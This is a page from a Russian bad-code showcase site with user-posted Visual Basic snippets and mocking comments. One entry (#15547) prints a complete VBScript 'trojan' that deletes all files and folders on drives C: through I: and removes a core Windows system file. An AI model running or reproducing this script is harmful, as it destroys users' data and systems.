1. VisualBasic / Говнокод #17521

    −111

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    Set rs = CurrentDb.OpenRecordset(sql, dbOpenDynaset)
        If rs.RecordCount > 0 Then
            rs.MoveLast
            rscnt = rs.RecordCount
            rs.MoveFirst
            If rscnt >= 2 Then
                ApllyActions = 1
                lActionText.Visible = True
                rs.Edit
                rs!Cost = rs!CostSrc * (100 - discount) / 100
                rs!Summa = rs!CostSrc * (100 - discount) / 100
                rs!discount = -discount
                rs.Update
                If rscnt >= 4 Then
                    rs.MoveNext
                    rs.Edit
                    rs!Cost = rs!CostSrc * (100 - discount) / 100
                    rs!Summa = rs!CostSrc * (100 - discount) / 100
                    rs!discount = -discount
                    rs.Update
                    If rscnt >= 6 Then
                        rs.MoveNext
                        rs.Edit
                        rs!Cost = rs!CostSrc * (100 - discount) / 100
                        rs!Summa = rs!CostSrc * (100 - discount) / 100
                        rs!discount = -discount
                        rs.Update
                        If rscnt >= 8 Then
                            rs.MoveNext
                            rs.Edit
                            rs!Cost = rs!CostSrc * (100 - discount) / 100
                            rs!Summa = rs!CostSrc * (100 - discount) / 100
                            rs!discount = -discount
                            rs.Update
                            If rscnt >= 10 Then
                                rs.MoveNext
                                rs.Edit
                                rs!Cost = rs!CostSrc * (100 - discount) / 100
                                rs!Summa = rs!CostSrc * (100 - discount) / 100
                                rs!discount = -discount
                                rs.Update
                                If rscnt >= 12 Then
                                    rs.MoveNext
                                    rs.Edit
                                    rs!Cost = rs!CostSrc * (100 - discount) / 100
                                    rs!Summa = rs!CostSrc * (100 - discount) / 100
                                    rs!discount = -discount
                                    rs.Update
                                    If rscnt >= 14 Then
                                        rs.MoveNext
                                        rs.Edit
                                        rs!Cost = rs!CostSrc * (100 - discount) / 100
                                        rs!Summa = rs!CostSrc * (100 - discount) / 100
                                        rs!discount = -discount
                                        rs.Update
                                        If rscnt >= 16 Then
                                            rs.MoveNext
                                            rs.Edit
                                            rs!Cost = rs!CostSrc * (100 - discount) / 100
                                            rs!Summa = rs!CostSrc * (100 - discount) / 100
                                            rs!discount = -discount
                                            rs.Update
                                            If rscnt >= 18 Then
                                                rs.MoveNext
                                                rs.Edit
                                                rs!Cost = rs!CostSrc * (100 - discount) / 100
                                                rs!Summa = rs!CostSrc * (100 - discount) / 100
                                                rs!discount = -discount
                                                rs.Update
                                                If rscnt >= 20 Then
                                                    rs.MoveNext
                                                    rs.Edit
                                                    rs!Cost = rs!CostSrc * (100 - discount) / 100
                                                    rs!Summa = rs!CostSrc * (100 - discount) / 100
                                                    rs!discount = -discount
                                                    rs.Update
                                                    If rscnt >= 22 Then
                                                        rs.MoveNext
                                                        rs.Edit
                                                        rs!Cost = rs!CostSrc * (100 - discount) / 100
                                                        rs!Summa = rs!CostSrc * (100 - discount) / 100
                                                        rs!discount = -discount
                                                        rs.Update
                                                        If rscnt >= 24 Then
                                                            rs.MoveNext
                                                            rs.Edit
                                                            rs!Cost = rs!CostSrc * (100 - discount) / 100
                                                            rs!Summa = rs!CostSrc * (100 - discount) / 100
                                                            rs!discount = -discount
                                                            rs.Update
                                                        End If
                                                    End If
                                                End If
                                            End If
                                        End If
                                    End If
                                End If
                            End If
                        End If
                    End If

    Код старшего программиста для проведения продажи "3 товара по цене двух". Опыт -10 лет. Если в чеке единиц товара больше 24, => не сработает.

    Reg0804, 26 Января 2015

    Комментарии (22)
  2. VisualBasic / Говнокод #16932

    −133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    Public m_Values As Hashtable    
    
    Public Function GetSensorType(p_SensorType As SensorType) As SensorValue
            For Each de As DictionaryEntry In m_Values
                If CType(de.Key, SensorType) = p_SensorType Then
                    Return de.Value
                End If
            Next
            Return Nothing
     End Function

    Отличный пример работы с Hashtable!

    IlyaS, 24 Октября 2014

    Комментарии (10)
  3. VisualBasic / Говнокод #16928

    −122

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    Public m_Values As Hashtable    
    
    Public Function GetSensorType(p_SensorType As SensorType) As SensorValue
            For Each de As DictionaryEntry In m_Values
                If CType(de.Key, SensorType) = p_SensorType Then
                    Return de.Value
                End If
            Next
            Return Nothing
     End Function

    Отличный пример работы с Hashtable!

    IlyaS, 24 Октября 2014

    Комментарии (1)
  4. VisualBasic / Говнокод #16439

    −125

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    Dim dLoadCurrent As Double
    Dim strReading As String = String.Empty
    Dim strTempReading As String
    
    strReading = Space(20)
    
    strReading = считали напряжение из устройства
    strTempReading = CStr(InStr(1, strReading, vbLf, CompareMethod.Binary))
    dLoadCurrent = CDbl(Left(strReading, CShort(strTempReading)))

    Супер каст.

    kempendyi, 29 Июля 2014

    Комментарии (15)
  5. VisualBasic / Говнокод #16218

    −130

    1. 1
    2. 2
    3. 3
    4. 4
    Привет всем, помогите решить проблему.
    reached limit: cannot create any more controls for this from
    Как я понял, число контроллеров не должно превышать 255-256 в одной форме. Как этого избежать?
    Можно ли вообще создавать формы с общими переменными? Спасибо

    http://vbbook.ru/visual-basic/vvedenie-visual-basic/

    brutushafens, 24 Июня 2014

    Комментарии (22)
  6. VisualBasic / Говнокод #16114

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function GetRaz()
    Open "C:NeWFiles.txt" For Output As #1
    Print #1, "0"
    Close
    Shell "cmd /X /C  set PROCESSOR_ARCHITECTURE > C:NeWFiles.txt", vbHide
    1
    Open "C:NeWFiles.txt" For Input As #1
    Do While Not EOF(1)
    Input #1, Items
    Loop
    Close
    If Items = "" Or items = "0" Then GoTo 1
    GetRaz = Replace(Items, "PROCESSOR_ARCHITECTURE=", "")
    End function

    "Получаем разрядность Windows"
    http://vbbook.ru/1401972927/

    brutushafens, 04 Июня 2014

    Комментарии (28)
  7. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    gost, 21 Марта 2014

    Комментарии (44)
  8. VisualBasic / Говнокод #15275

    −98

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    ResetList( Chars( ) )
    While NextElement( Chars( ) )
    	Define Address.l = @Chars( )
    	Define Reference.s = Chars( )
    	While NextElement( Chars( ) )
    		If Chars( ) = Reference
    			DeleteElement( Chars( ) )
    		EndIf
    	Wend
    	ChangeCurrentElement( Chars( ), Address )
    Wend

    Stertor-, 01 Марта 2014

    Комментарии (83)
  9. VisualBasic / Говнокод #14597

    −120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    Option Explicit
    
    Dim HTMLCode As String 'переменная для хранения кода страницы
    
    Private Sub Command1_Click()
        Winsock1.RemotePort = 80                'устанавливаем порт сервера 80
        Winsock1.RemoteHost = "ippages.com"     'Хост
        Winsock1.Connect                        'Подключаемся
        Label4.Caption = Winsock2.LocalIP
    End Sub
    
    Function CutIP(HTML As String) As String
    Dim p1 As Integer
        p1 = InStr(HTML, "Content-Type: text/html")
        CutIP = Trim(Mid(HTML, p1 + 27, Len(HTML) - p1 - 23))
    End Function
    
    Private Sub Label1_Click()
    
    End Sub
    
    Private Sub Winsock1_Close()        'Событие генерируется при закрытии Канала связи
        Form1.Caption = "Не подключен" 'Просто сообщаем о том что не подключены
        Winsock1.Close
    End Sub
    
    Private Sub Winsock1_Connect()      'Событие генерируется при подключении
       Form1.Caption = "Подключение"      'Подключены
       'Посылаем запрос на сервер  выдающему наш IP
      Winsock1.SendData "GET " + "/simple/" + " HTTP/1.0" + Chr(10) + Chr(10)
    End Sub
    
    'Событие генерируется когда нам приходят данные
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Temp As String
      Winsock1.GetData HTMLCode
      Label1.Caption = CutIP(HTMLCode)
    End Sub
    
    Получение ай-пи адреса посредством отправки на сайт запроса через компонент WinSock.
    http://vbbook.ru/visual-basic/polychenie-svoego-ip/
    Строго говоря, это не лажа кодера, просто используется (по незнанию?) очень глючный и непредсказуемый компонент.

    Fixed by me:

    Function GetCurrentIP() As String
    Dim txt As String
    Dim i, j As Integer
    Dim mshttp As New XMLHTTP 'по умолчанию сервер всегда зареган.
    mshttp.open "GET", "http://checkip.dyndns.org/", False ' синхронный get
    mshttp.send
    txt = mshttp.responseText
    i = InStr(1, txt, ":")

    If i > 0 Then
    i = i + 1
    Else
    GetCurrentIP = "" ' удобно было бы, если по присваиванию, подобному этому, происходило покидание процедуры. Ан, нет.
    Exit Function
    End If

    j = InStr(i, txt, "</")
    If j < 1 Then
    GetCurrentIP = ""
    Exit Function
    End If

    GetCurrentIP = Trim(Mid(txt, i, j - i))
    End Function

    Stertor, 15 Февраля 2014

    Комментарии (203)
  10. VisualBasic / Говнокод #14177

    −117

    1. 1
    2. 2
    3. 3
    4. 4
    For i=@stroca$ To @stroca$+(#size*2)-500 Step 2
      PokeS(i,"5")
    Next
    PokeS(@stroca$+(#size*2)-500,"555555555555.....")

    Еще один дебил.
    Взято с http://purebasic.info/phpBB3ex/viewtopic.php?f=13&t=3588

    Stertor, 04 Декабря 2013

    Комментарии (8)